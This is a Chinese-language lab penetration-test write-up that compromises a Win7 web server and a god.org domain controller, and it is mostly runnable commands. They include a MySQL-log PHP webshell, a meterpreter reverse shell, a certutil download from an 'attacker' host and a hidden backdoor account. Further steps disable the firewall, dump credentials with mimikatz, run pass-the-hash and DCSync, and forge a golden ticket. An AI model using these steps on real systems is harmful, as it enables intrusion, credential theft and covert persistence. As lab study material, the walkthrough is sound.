渗透思路
一.渗透过程
1.1.明确实验环境
设备名称 | 角色 | 外网IP | 内网IP | 网络模式 | 备注 |
---|---|---|---|---|---|
Kali Linux | 攻击机 | 192.168.41.132 | 无 | NAT模式(模拟外网) | 通过eth0接口连接外网,子网掩码255.255.255.0 |
Win7 Web服务器 | 边界服务器(双网卡) | 待探测(*.41.0/24) | 未知 | 仅主机模式(内网) | 外网接口通过防火墙连接Kali,内网接口与域控同网段 |
Win2008 Server | 域控制器 | 无 | 未知 | 仅主机模式(内网) | 完全位于内网环境,通过第二层防火墙隔离 |
防火墙1 | 网络隔离 | 无 | 无 | 位于Kali与Win7之间 | 分隔外网与边界服务器 |
防火墙2 | 网络隔离 | 无 | 无 | 位于Win7与域控之间 | 分隔边界服务器与内网核心区域 |
1.2.外网信息收集
1.2.1.nmap主机探活
nmap -sn 192.168.41.0/24
-sn
:只执行“Ping扫描”(以前叫做“Ping sweep”),不进行端口扫描,用于检测网络中的存活主机。
192.168.41.0/24
:目标网段,表示从192.168.41.0
到192.168.41.255
的全部IP地址。
192.168.41.130最可能是win7web服务器的网外ip
一般来说下x.x.x.0 x.x.x.1 x.x.x.2 x.x.x.254 x.x.x.255
不做服务器考虑一般都是网关,DHCP服务器,ARP广播地址,标识网段等用处
1.2.2.nmap端口扫描
nmap -sS -p 1-65535 192.168.41.130
sS
:使用SYN扫描(也叫半开扫描),是一种快且隐蔽的端口扫描方式。
-p 1-65535
:指定扫描的端口范围,从第1个端口到第65535个端口(即所有可能的端口)。
192.168.41.130
:目标IP地址,指只扫描该主机。
端口/服务 | 利用方式 | 经典漏洞 | 工具/命令示例 | 关键说明 |
---|---|---|---|---|
80/tcp (HTTP) | 1. Web目录爆破 2. 默认页面漏洞检查 3. CMS框架漏洞利用(如Apache/IIS) 4. 文件上传漏洞探测 | - | gobuster dir -u http://192.168.41.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | 重点关注/admin 、/uploads 等敏感路径;检查phpinfo() 信息泄露。 |
8080/tcp (HTTP代理) | 1. 代理服务绕过防火墙 2. 内网穿透(如SSH隧道) 3. Web漏洞复现(同80端口) | - | proxychains nmap -sT 192.168.41.128 curl -x http://192.168.41.128:8080 http://internal.target | 验证代理是否支持CONNECT 方法,用于穿透内网。 |
135/tcp (MSRPC) | 1. MSRPC漏洞提权 2. 系统版本信息枚举 | MS08-067 (Windows Server服务漏洞) | msfconsole → use exploit/windows/smb/ms08_067_netapi → 设置目标IP并执行。 | 若目标为Windows 7且未打补丁,可直接获取系统权限。 |
3306/tcp (MySQL) | 1. 弱密码/空密码爆破 2. UDF提权(需写入权限) 3. 数据泄露利用 | CVE-2012-2122 (MySQL认证绕过漏洞) | hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.41.128 sqlmap -u "http://192.168.41.128/login" --data="user=*&pass=*" --risk=3 | 默认账号root:空 优先尝试;若存在UDF提权条件,上传恶意DLL执行系统命令。 |
通用提权操作 | 1. 上传并执行提权工具(如JuicyPotato、PrintSpoofer) 2. 服务配置滥用(如AlwaysInstallElevated) | JuicyPotato (Windows令牌权限滥用) | 上传提权工具:certutil -urlcache -split -f http://attacker/JuicyPotato.exe C:\Windows\Temp\jp.exe 执行: jp.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * | 需结合当前权限(如SeImpersonatePrivilege)选择提权方式。 |
经典漏洞名称 | 影响端口/服务 | 利用条件 | 修复建议 |
---|---|---|---|
MS08-067 | 135/tcp (MSRPC) | Windows XP/2003/7未安装KB958644补丁 | 更新系统补丁;关闭135端口或限制访问。 |
CVE-2012-2122 | 3306/tcp (MySQL) | MySQL 5.1.x/5.5.x/5.6.x版本 | 升级MySQL至最新版本;启用强密码策略。 |
JuicyPotato提权 | 需已获取Web/数据库写权限 | Windows 7/Server 2008+,且当前用户具有SeImpersonatePrivilege权限 | 限制用户权限;禁用不必要的服务账户特权。 |
1.3.外网漏洞探测和利用
1.3.1.web服务80端口渗透
该阶段大体思路,利用win7的web服务器,去访问192.168.41.130
phpStudy探针
是phpStudy
集成环境(PHP+Apache+MySQL的本地测试套件)的默认信息展示页面,用于显示服务器的配置信息。
1.3.2.使用dirsearch进行目录枚举探测
dirsearch -u http://192.168.41.128 -e php,html,asp
1.3.3弱口令爆破phpmyadmin
做代理用burpsuite去爆破账号和密码
按照长度排序第一个明显不同
获得数据库的账号root 密码 admin123
1.3.4.Mysql数据库getshell的3种姿势
其实本质上还是两种
方式 | 核心原理 | 依赖条件 | 防御关键 |
---|---|---|---|
1. INTO OUTFILE 导出木马 | 直接通过 SQL 语句将 PHP 代码写入 Web 目录 | 1. 用户具备 FILE 权限2. secure_file_priv 允许导出3. 已知网站绝对路径(如 G:/phpStudy/WWW ) | 限制 secure_file_priv 路径 + 禁用 FILE 权限 |
2. MySQL 日志文件注入 | 通过修改 MySQL 日志路径指向 Web 目录,并注入 PHP 代码 | 1. 用户具备 SUPER 权限(如 root)2. MySQL 服务账户可写 Web 目录 3. 已知网站绝对路径 | 关闭非必要日志(general_log = OFF ) + 隔离 MySQL 服务账户权限 |
知识扩展
执行 select @@basedir;
查看一下网站的路径
路径为:C:/phpStudy/MySQL/
再执行 select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/shell.php';
直接将木马写入到 www网站根目录下 失败
这是因为 Mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';
命令来查看该参数
当secure_file_priv为NULL时,表示限制Mysql不允许导入导出,这里为NULL。所以into outfile写入木马出错。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 配置文件,在[mysqld]内加入secure_file_priv =""。
直接写入木马不行,那我们就换另一种方法---Mysql日志文件写入shell
利用Mysql日志文件写入shell
先执行命令:show variables like '%general%';
查看日志状态:
当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中。那么如果修改 general_log_file 的值为一个php文件,则所执行的 SQL 语句就会对应生成在对应的文件中,进而可 Getshell
SET GLOBAL general_log='on'
开启 general_log
SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'
指定日志写入到网站根目录的 shell.php 文件
然后接下来执行 SQL 语句:
SELECT '<?php eval($_POST["muma"]);?>'
,即可将一句话木马写入 shell.php 文件中 访问/shell.php 成功写入
蚁剑进行连接
蚁剑连接 拿到shell
命令结果:
nt authority\local service
权限类型:这是 Windows 系统的本地服务账户(Local Service Account),属于系统内置的低权限账户。
1.4.内网信息收集
ipconfig
ipconfig /all
获取到信息
外网接口(NAT模式)
IP:
192.168.41.128(或者30)因为我不是一天做完的,ip会变很正常
网关:
192.168.41.2
DNS/WINS:
192.168.41.2
内网接口(仅主机模式)
IP:
192.168.52.143
DNS:
192.168.52.138
(疑似域控)域信息: 主DNS后缀为
god.org
,确认处于域环境中。
1.5.win7跳板机权限提升和维持
权限提升阶段
本地提权路径(优先)
方法1:利用Windows内核漏洞
-
漏洞验证:
-
systeminfo > C:\phpStudy\WWW\sysinfo.txt
-
验证:访问
http://192.168.41.128/sysinfo.txt
查看系统信息。
未包含KB4012212
,说明存在MS17-010漏洞。
但是!当我用nmap去扫445端口的时候发现,445端口被过滤了,利用永恒之蓝去提权只能到此为止了,去寻找新的思路。
上线msf
利用MSF模块提权
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.41.132 LPORT=2222 -f exe -o shell.exe
设置监听器
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.41.132
set lport 2222
exploit
让win7运行shell.exe
成功连接
先使用自动提取按getsystem,失败的机率很大
getsystem
果然失败了
接着使用脚本检测可以利用的提权模块,速度可能有点慢,耐心等待
use post/multi/recon/local_exploit_suggester
set session ID()
set showdescription true
run #就会列出来这个电脑存在的提权的漏洞有哪些
扫出来16个可利用的,爽了!
随便来一个提权的
CVE-2019-1458 WizardOpium (提权到 SYSTEM)
-
漏洞类型:内核提权。
-
适用系统:Windows 7/10/Server 2008-2019(特定版本)。
-
操作:
use exploit/windows/local/cve_2019_1458_wizardopium
-
set SESSION ID
-
run
拿到最高权限system!爽了!
权限维持阶段
先把防火墙关了,省的夜长梦多
#注册表开启3389端口 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#添加防火墙规则 netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
#关闭防火墙 n
etsh firewall set opmode disable #winsows server 2003 之前
netsh advfirewall set allprofiles state off #winsows server 2003 之后
关闭成功
你有本事接着把445端口关了
权限维持,隐藏后门
net user hacker$ P@ssw0rd /add /active:yes /passwordchg:no /expires:never /comment:"System Service" /fullname:"Windows Update"
active:yes
:确保账户处于激活状态(默认已激活,显式声明更安全)
-
passwordchg:no
: 禁止用户自行修改密码(防止因密码被改丢失控制权)。 -
expires:never
: 密码永不过期(避免定期密码策略导致失效)。 -
comment
和fullname
: 为账户添加伪装描述和全名(如伪装成系统服务账户降低怀疑)。
-
hacker$
:用户名末尾的$
使账户在控制面板和普通net user
中隐藏。
net user不会显示隐藏用户
1.6.内网信息再收集
ipconfig /displaydn
去找dns缓存记录。
192.168.52.138 极有可能是域控制器(Domain Controller)
-
LDAP服务定位记录(SRV记录)
-
记录
_ldap._tcp.Default-First-Site-Name._sites.god.org
明确指向owa.god.org:389
(端口389是LDAP服务默认端口)。 -
SRV记录是域控制器的核心标识,用于客户端定位域控制器进行身份验证和目录查询。
-
先ping一下域名,发现可以通
再登录win7ping一下可得,192.168.52.138百分之99是域控
因为win7获得了机器用户,所以即使不是域用户也可以向域内获取一些信息
总结一下获得的有效信息
kali ip 192.168.41.132
win7 外网ip 192.168.41.128
内网ip 192.168.52.143
隐藏用户 hacker$ 密码Admin@123
win2008 内网ip 192.168.52.138
主机名owa.god.org
类别 | 项目 | 详细信息 | 备注 |
---|---|---|---|
攻击机信息 | Kali Linux IP |
| 用于渗透测试的入口设备 |
外网机器(Win7) | 外网IP |
| 暴露在外部网络的跳板机 |
内网IP |
| 同时连接内外网,可能作为横向移动跳板 | |
隐藏用户 | 用户名: | 通过 | |
内网域控服务器 | 服务器IP |
| 高度疑似域控制器(DC),关联域名 |
关联域名 |
| 可能运行Exchange服务(OWA为Outlook Web Access),需验证LDAP/Kerberos端口 | |
网络拓扑 | 外网网段 |
| 攻击机与Win7外网IP同网段 |
内网网段 |
| Win7内网IP与域控IP同网段 |
控制win7
利用hacker$创建的后门账号,进入win7。
上传mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit > 1.txt
泄露凭据:
用户
hacker$
:
明文密码:
Admin@123
NTLM Hash:
570a9a65db8fba761c1008a51d4c95ab
计算机账户
STU1$
:
NTLM Hash:
7f37ee67a662a43a4ebfdbd72378f100
上面的凭据全部都用不了,想从win7横向到win2008不切实践,转换思路,把win7当作跳板机,通过win7把kali的流量带入到win2008.
1.7.内网代理
一、代理的形成过程(你的网络结构)
根据你的网络拓扑,代理的形成流程如下:
Kali (外网) Win7 (跳板机) 内网目标
192.168.41.132 → 外网IP:192.168.41.130 → 内网IP段:192.168.52.0/24
( 双网卡或NAT) 如:52.143(Web服务)、52.138(Win2008)
1. 攻陷跳板机(Win7)
-
通过漏洞利用或钓鱼,你已经控制了外网的 Win7(IP:192.168.41.130),且该机器能访问内网(52.0/24)。
2. 在 Metasploit 中添加路由
-
通过 Meterpreter 会话,添加路由到内网:
-
run autoroute -s 192.168.52.0/24
-
作用:让 Metasploit 的模块(如扫描/攻击)知道如何通过 Win7 访问内网。
run autoroute -p #查看路由信息
3. 启动 SOCKS 代理服务
-
在 Kali 上运行 Metasploit 的 socks 代理模块:
use auxiliary/server/socks_proxy set VERSION 4a set SRVPORT 1234 run
-
作用:在 Kali 的
1234
端口创建一个 SOCKS4a 代理,流量将通过 Win7 转发到内网。
4. 配置 Proxychains
-
修改
/etc/proxychains4.conf
,添加:socks4 127.0.0.1 1234
-
作用:让 Kali 上的其他工具(如 curl、nmap)通过代理访问内网。
二、代理完成后能做什么?
1. 访问内网 Web 服务
-
你已成功通过代理访问
192.168.52.143
的 HTTP 服务(phpStudy 探针):proxychains curl http://192.168.52.143
-
用途:可进一步测试 Web 漏洞(如 SQL 注入、文件上传)。
2. 扫描内网主机
-
使用 Nmap 扫描内网其他主机(如 Win2008 的 192.168.52.138):
proxychains nmap -sT -Pn 192.168.52.138
-
用途:发现开放的端口(如 445/SMB、3389/RDP),寻找攻击入口。
3. 横向移动攻击
-
攻击 Win2008 服务器:
若发现 445 端口开放,可使用 Metasploit 的exploit/windows/smb/psexec
模块,通过 Win7 跳板攻击内网 Win2008。 -
命令示例:
set RHOSTS 192.168.52.138 set PAYLOAD windows/x64/meterpreter/bind_tcp exploit
4. 访问内部数据库或服务
-
如果内网有数据库(如 MySQL 在 52.143:3306),可通过代理连接:
proxychains mysql -h 192.168.52.143 -u root -p
5. 图形化工具代理支持
-
浏览器访问内网 Web:
配置 Firefox 使用 SOCKS 代理(127.0.0.1:1234),直接访问http://192.168.52.143
。 -
远程桌面(RDP):
通过proxychains
启动rdesktop
:proxychains rdesktop 192.168.52.138
三、关键点总结
-
代理链路的本质:
Kali → Win7(跳板) → 内网目标,所有流量通过 SOCKS 代理隧道转发。 -
权限要求:
-
Win7 需具有内网访问权限(如双网卡、VPN 连接)。
-
Metasploit 路由需系统权限(
getsystem
)。
-
-
隐蔽性:
-
代理流量可能被安全设备检测,建议加密流量(如使用 SSH 隧道替代 SOCKS)。
-
全部的步骤如下
1、msf添加代理
添加路由
run autoroute -s 192.168.52.0/24 #添加路由
run autoroute -p #查看路由信息
配置代理
use auxiliary/server/socks_proxy
set version 4a
set SRVPORT 1234 #端口可以任意,只要不被占用
run
先查看端口监听和已建立的情况
ss -tulpn
ss -tunp state established
再进入 /etc/proxychains4.conf 更改代理配置
测试一下代理配置是否成功
proxychains curl http://192.168.52.143
1.8.内网渗透和域内提权
域控渗透
先扫端口
proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.138
使用永恒之蓝的辅助模块,直接使用使用永恒之蓝漏洞利用是不行的。
use auxiliary/admin/smb/ms17_010_command。
set COMMAND net user
set RHOST 192.168.52.138
run
还是使用这个模块,依次执行下面命令
set command net user hacker Admin@123 /add #添加用户
run
set command net localgroup administrators hacker /add #管理员权限
run
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
#开启3389端口
run
set command netsh advfirewall set allprofiles state off #关闭防火墙
run
成功登录
用hacker Admin@123
成功登录win2008
此时是本地管理员,但是是普通的域用户,上传mimikatz抓一下密码
进入到mimikatz里面使用管理员权限打开并且输入
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit > 1.txt
可利用的凭据分析
1. OWA$
服务账户
-
NTLM 哈希:
b552513cb39c22770f8071f753444209
-
明文密码:存在长字符串(可能为加密凭据或服务票据)。
-
归属域:
GOD
(旧域)和GOD.ORG
(当前域),可能存在 跨域信任 或 配置错误。
2. 用户 hacker
-
NTLM 哈希:
570a9a65db8fba761c1008a51d4c95ab
-
明文密码:
Admin@123
-
归属域:
GOD
(旧域)和GOD.ORG
(当前域)。
使用哈希传递,伪造OWA$
这个域管理员用户,并且执行打开cmd去把hacker添加到域管理里面
mimikatz "privilege::debug" "sekurlsa::pth /user:OWA$ /domain:god.org /ntlm:b552513cb39c22770f8071f753444209 /run:cmd.exe"
net group 'Domain Admins' hacker /add /domain
成功拿下完整的域控的权限,下班收工
1.9.域控权限维持
步骤1:确认能否直接登录域控
一、当前状态分析
将用户 hacker
提升为 域管理员(Domain Admin) 意味着你已获得域内最高权限,但严格来说,这并不等同于 完全控制域控(Domain Controller, DC)。以下是关键区分点:
-
权限范围:
-
域管理员:可管理域内所有资源(用户、组、策略等),但若未直接控制域控服务器,某些操作(如提取
krbtgt
哈希)仍需通过域控执行。 -
域控完全控制:意味着对域控服务器的 操作系统级控制(如执行任意命令、修改系统文件、提取内存凭证等)。
-
-
持久性差异:
-
仅提升用户权限可能被域管理员撤销或密码重置。
-
完全控制域控后,可通过黄金票据(Golden Ticket)、DCShadow 等技术实现持久化,即使密码更改仍维持权限。
-
二、验证是否真正“拿下”域控
步骤1:确认能否直接登录域控
使用hacker账户通过RDP/WinRM登录域控
proxychains xfreerdp /v:192.168.52.143 /u:hacker /p:'Admin@123' /cert-ignore
步骤2:提取域控敏感数据
在已控主机(非域控)执行DCSync(需域管理员权限)
proxychains secretsdump.py 'god.org/hacker:Admin@123@192.168.52.138' -just-dc
或者通过完整路径调用脚本
proxychains python3 /usr/share/doc/python3-impacket/examples/secretsdump.py 'god.org/hacker:Admin@123@192.168.52.138' -just-dc
用户名 | RID | LM哈希 | NTLM哈希 | 用途说明 |
---|---|---|---|---|
Administrator | 500 | aad3b435b51404eeaad3b435b51404ee | e811f0f36ab7772300809248443f9108 | 域管理员账户哈希 |
krbtgt | 502 | aad3b435b51404eeaad3b435b51404ee | 58e91a5ac358d86513ab224312314061 | 生成黄金票据(Golden Ticket) 的关键 |
关键点说明:
-
krbtgt 的 NTLM 哈希
58e91a5ac358d86513ab224312314061
是生成黄金票据的必要条件,可用于伪造任意用户的 TGT 票据。 -
管理员账户
Administrator
的 NTLM 哈希e811f0f36ab7772300809248443f9108
可用于横向移动或 Pass-The-Hash 攻击。 -
输出中的其他账户(如 ligang、tom、hacker)可能对应普通用户或服务账户,需进一步分析其权限。
附:黄金票据生成示例命令(需mimikatz)
mimikatz # kerberos::golden /user:Administrator /domain:god.org /sid:S-1-5-21-... /krbtgt:58e91a5ac358d86513ab224312314061 /ptt
获取域的sid
方法 1:通过 Kali Linux 的 Impacket 工具获取 SID
工具:lookupsid.py
(需有效凭证)
-
命令格式:
proxychains python3 /usr/share/doc/python3-impacket/examples/lookupsid.py <域名>/<用户名>:<密码>@<域控IP>
-
示例(根据你的环境替换参数):
proxychains python3 /usr/share/doc/python3-impacket/examples/lookupsid.py 'god.org/hacker:Admin@123@192.168.52.138'
-
注意:需通过
proxychains
走代理(与之前secretsdump.py
相同配置)。
-
-
输出示例:
[*] Enumerating users via SID S-1-5-21-123456789-987654321-123456789... Name : Administrator Name : krbtgt Name : god.org\ligang ...
-
域 SID 是用户 SID 去掉末尾的 RID(如
S-1-5-21-123456789-987654321-123456789
)。
-
步骤3:生成黄金票据(持久化)
# 使用krbtgt哈希生成票据
proxychains ticketer.py -nthash 58e91a5ac358d86513ab224312314061 \ -domain-sid S-1-5-21-2952760202-1353902439-2381784089 \ -domain god.org Administrator
或者通过完整路径执行命令(修正路径)
proxychains python3 /usr/share/doc/python3-impacket/examples/ticketer.py \ -nthash 58e91a5ac358d86513ab224312314061 \ -domain-sid S-1-5-21-2952760202-1353902439-2381784089 \ -domain god.org Administrator
输出文件:生成 Administrator.ccache
,后续通过 export KRB5CCNAME=Administrator.ccache
使用票据。
失败(可能是spn的问题,但我还未找到原因)